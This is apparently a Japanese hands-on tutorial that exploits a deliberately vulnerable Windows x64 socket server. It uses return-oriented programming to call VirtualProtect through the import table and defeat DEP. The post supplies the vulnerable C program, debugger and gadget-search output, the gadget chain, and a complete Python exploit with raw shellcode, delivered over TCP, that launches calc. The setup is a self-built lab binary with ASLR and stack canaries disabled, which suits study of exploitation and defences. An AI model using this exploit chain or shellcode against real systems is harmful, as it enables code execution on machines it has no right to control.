Windows x64でReturn-oriented Programming(ROP)によるDEP回避をやってみる

「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」では、Windows 32ビット環境でROPによるDEP回避を行った。 ここでは、Windows 64ビット環境でのROPをやってみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS 製造元:              Microsoft Corporation
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x64

>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0

脆弱性のあるプログラムを書いてみる

「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void somewhere()
{
    char buf[1024];
    DWORD oldprotect;
    VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect);
}

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

上のコードでは、プログラム中のどこかでVirtualProtect関数が使われている状況を想定し、somewhere関数を追加してある。

64ビットコンパイラを用い、ASLR、stack canary(/GS)無効、DEP有効となる設定でコンパイルする。 さらに、生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。

>cl bof.c /GS- /link /dynamicbase:no

>bof.exe
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 000000000013FB70
$ nc localhost 4444
AAAA

必要なアドレスを調べてみる

まず、VirtualProtect関数のIATエントリが置かれたアドレスを調べてみる。

>cdb bof.exe
(snip)
(1b40.23fc): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb`af7e1970 cc              int     3
0:000> !dh -f 00000001`40000000
(snip)
    D000 [     258] address [size] of Import Address Table Directory
(snip)
0:000> dps 00000001`40000000+D000
00000001`4000d000  00007ffb`ad200cf0*** ERROR: Symbol file could not be found.
Defaulted to export symbols for C:\WINDOWS\system32\KERNEL32.DLL -
 KERNEL32!UnhandledExceptionFilter
00000001`4000d008  00007ffb`ad121550 KERNEL32!CreateFileW
00000001`4000d010  00007ffb`ad121270 KERNEL32!CloseHandle
00000001`4000d018  00007ffb`ad121920 KERNEL32!LCMapStringW
00000001`4000d020  00007ffb`ad125160 KERNEL32!FatalExit
00000001`4000d028  00007ffb`ad1214b0 KERNEL32!VirtualProtect
(snip)

上の結果から、VirtualProtect関数のIATエントリが000000014000d028にあることがわかる。

次に、関数呼び出しに使えるROP gadgetを探してみる。 dumpbinコマンドでプログラム全体のディスアセンブル結果を書き出し、合わせてrp++によるROP gadgetの検索結果も書き出しておく。

>dumpbin /disasm bof.exe >disasm.txt

>rp-win-x64.exe --file bof.exe --rop=3 --unique >gadgets.txt

ここで、disasm.txtをcall raxで検索すると、次のようなコードが見つかる。

  0000000140007C15: 44 8B CD           mov         r9d,ebp
  0000000140007C18: 4D 8B C4           mov         r8,r12
  0000000140007C1B: 49 8B D7           mov         rdx,r15
  0000000140007C1E: 48 8B CF           mov         rcx,rdi
  0000000140007C21: FF D0              call        rax
  0000000140007C23: EB 02              jmp         0000000140007C27
  0000000140007C25: 33 C0              xor         eax,eax
  0000000140007C27: 48 8B 4C 24 48     mov         rcx,qword ptr [rsp+48h]
  0000000140007C2C: 48 33 CC           xor         rcx,rsp
  0000000140007C2F: E8 3C CD FF FF     call        0000000140004970
  0000000140007C34: 48 83 C4 50        add         rsp,50h
  0000000140007C38: 41 5F              pop         r15
  0000000140007C3A: 41 5E              pop         r14
  0000000140007C3C: 41 5C              pop         r12
  0000000140007C3E: 5F                 pop         rdi
  0000000140007C3F: 5E                 pop         rsi
  0000000140007C40: 5D                 pop         rbp
  0000000140007C41: 5B                 pop         rbx
  0000000140007C42: C3                 ret

デバッグ情報をつけてコンパイル/Zi)したときの結果と比べながら、上のコードに補足を加えると次のようになる。

__crtMessageBoxW:
  (snip)

addr_msgbox2:
  0000000140007C15: 44 8B CD           mov         r9d,ebp
  0000000140007C18: 4D 8B C4           mov         r8,r12
  0000000140007C1B: 49 8B D7           mov         rdx,r15
  0000000140007C1E: 48 8B CF           mov         rcx,rdi
  0000000140007C21: FF D0              call        rax        # call here
  0000000140007C23: EB 02              jmp         canary_check
  0000000140007C25: 33 C0              xor         eax,eax
canary_check:
  0000000140007C27: 48 8B 4C 24 48     mov         rcx,qword ptr [rsp+48h]
  0000000140007C2C: 48 33 CC           xor         rcx,rsp
  0000000140007C2F: E8 3C CD FF FF     call        __security_check_cookie
  0000000140007C34: 48 83 C4 50        add         rsp,50h
addr_msgbox1:
  0000000140007C38: 41 5F              pop         r15        # -> rdx (2nd arg)
  0000000140007C3A: 41 5E              pop         r14
  0000000140007C3C: 41 5C              pop         r12        # -> r8  (3rd arg)
  0000000140007C3E: 5F                 pop         rdi        # -> rcx (1st arg)
  0000000140007C3F: 5E                 pop         rsi
  0000000140007C40: 5D                 pop         rbp        # -> r9d (4th arg)
  0000000140007C41: 5B                 pop         rbx
  0000000140007C42: C3                 ret

__crtMessageBoxW関数に含まれる上のコードを使うと、Linux x64における__libc_csu_init gadgetsと同じように、関数呼び出しにおける引数レジスタのセットを行うことができる。 すなわち、addr_msgbox1でスタックから各レジスタに値をセットした後、addr_msgbox2にジャンプすることでrcx、rdx、r8、r9dレジスタの値を自由にセットできる。 raxレジスタの値は事前にセットしておく必要があるが、このままではcanary_checkの処理に進んでしまいプログラムが不正終了してしまう。 そこで、raxレジスタにpop-ret gadgetを入れcall raxによって積まれたリターンアドレスを捨てることで、後続のROPシーケンスが実行されるようにする。

上の手順に必要なROP gadgetをgadget.txtから探すと、次のようなものが見つかる。

0x140005c10: pop rax ; add rsp, 0x30 ; pop r15 ; ret  ;  (1 found)
0x14000154e: pop rdi ; ret  ;  (53 found)
0x14000242b: jmp qword [rbx] ;  (1 found)

addr_msgbox1でrbxレジスタにIATエントリのアドレスを入れた上で最後のgadgetを用いると、IATにある任意のAPI関数を呼ぶことができる。

エクスプロイトコードを書いてみる

以上の内容をもとに、ROPでVirtualProtect関数を呼び出した後シェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import socket
import struct

# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"

"""
addr_msgbox2:
  0000000140007C15: 44 8B CD           mov         r9d,ebp
  0000000140007C18: 4D 8B C4           mov         r8,r12
  0000000140007C1B: 49 8B D7           mov         rdx,r15
  0000000140007C1E: 48 8B CF           mov         rcx,rdi
  0000000140007C21: FF D0              call        rax
  0000000140007C23: EB 02              jmp         0000000140007C27
  0000000140007C25: 33 C0              xor         eax,eax
  0000000140007C27: 48 8B 4C 24 48     mov         rcx,qword ptr [rsp+48h]
  0000000140007C2C: 48 33 CC           xor         rcx,rsp
  0000000140007C2F: E8 3C CD FF FF     call        0000000140004970
  0000000140007C34: 48 83 C4 50        add         rsp,50h
addr_msgbox1:
  0000000140007C38: 41 5F              pop         r15
  0000000140007C3A: 41 5E              pop         r14
  0000000140007C3C: 41 5C              pop         r12
  0000000140007C3E: 5F                 pop         rdi
  0000000140007C3F: 5E                 pop         rsi
  0000000140007C40: 5D                 pop         rbp
  0000000140007C41: 5B                 pop         rbx
  0000000140007C42: C3                 ret
"""

addr_buf = 0x000000000013FB70
addr_msgbox1 = 0x0000000140007C38
addr_msgbox2 = 0x0000000140007C15
addr_pop_rax_38 = 0x140005c10              # 0x140005c10: pop rax ; add rsp, 0x30 ; pop r15 ; ret  ;  (1 found)
addr_pop_rdi = 0x14000154e                 # 0x14000154e: pop rdi ; ret  ;  (53 found)
addr_jmp_ptr_rbx = 0x14000242b             # 0x14000242b: jmp qword [rbx] ;  (1 found)
iat_virtualprotect = 0x000000014000d028    # 00000001`4000d028  00007ffb`ad1214b0 KERNEL32!VirtualProtect
bufsize = 400

buf = 'A' * bufsize
buf += 'AAAAAAAA'
buf += struct.pack('<Q', addr_pop_rax_38)    # retaddr
buf += struct.pack('<Q', addr_pop_rdi)
buf += 'A' * 0x38
buf += struct.pack('<QQQQQQQQ', addr_msgbox1, 1024, 0, 0x40, addr_buf, 0, addr_buf, iat_virtualprotect)
buf += struct.pack('<Q', addr_msgbox2)
buf += struct.pack('<Q', addr_jmp_ptr_rbx)
buf += struct.pack('<Q', addr_buf+len(buf)+8)
buf += shellcode

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

bof.exeを起動し、エクスプロイトコードを実行してみる。

>bof.exe
[+] listening on 0.0.0.0 port 4444
$ python exploit.py

シェルコードが実行され、電卓が起動することが確認できる。

関連リンク